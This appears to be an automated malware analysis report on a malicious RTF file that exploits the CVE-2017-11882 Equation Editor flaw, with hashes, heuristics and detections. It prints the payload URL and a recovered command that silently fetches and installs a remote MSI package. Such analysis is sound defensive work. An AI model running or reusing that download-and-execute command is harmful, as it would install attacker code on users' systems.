RTF malware analysis — malicious · 1ace05beed9df546

MALICIOUS

RTF

10.6 KB Authoring application: Riched20 6.3.9600 First seen: 2019-11-20

MD5: ba536fab294fabc5505d3a7478544e38 SHA-1: adcdf06cf60dac83c8cd5ff8ea25123e4c5a0e54 SHA-256: 1ace05beed9df5465f9992b627865601ae45bf27ce4e7d5de8c9ce82bafb93d0

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains an embedded OLE object that exploits CVE-2017-11882 through a buffer overflow in the Equation Editor. This exploit is designed to download and execute a secondary payload from the URL http://nixtin.us/cj/put.msi. The presence of the exploit and the external URL strongly indicate a malicious intent to compromise the user's system.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://nixtin.us/cj/put.msi In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00000362.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x362	3546 bytes
SHA-256: `89e0ae712b580d4b99e2f4939b2992f667e927ec8442d745a5cbb976e268110e`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://nixtin.us/cj/put.msi Static shellcode analysis recovered command string(s): cmd.exe /c msiexec /q /i "http://nixtin.us/cj/put.msi"

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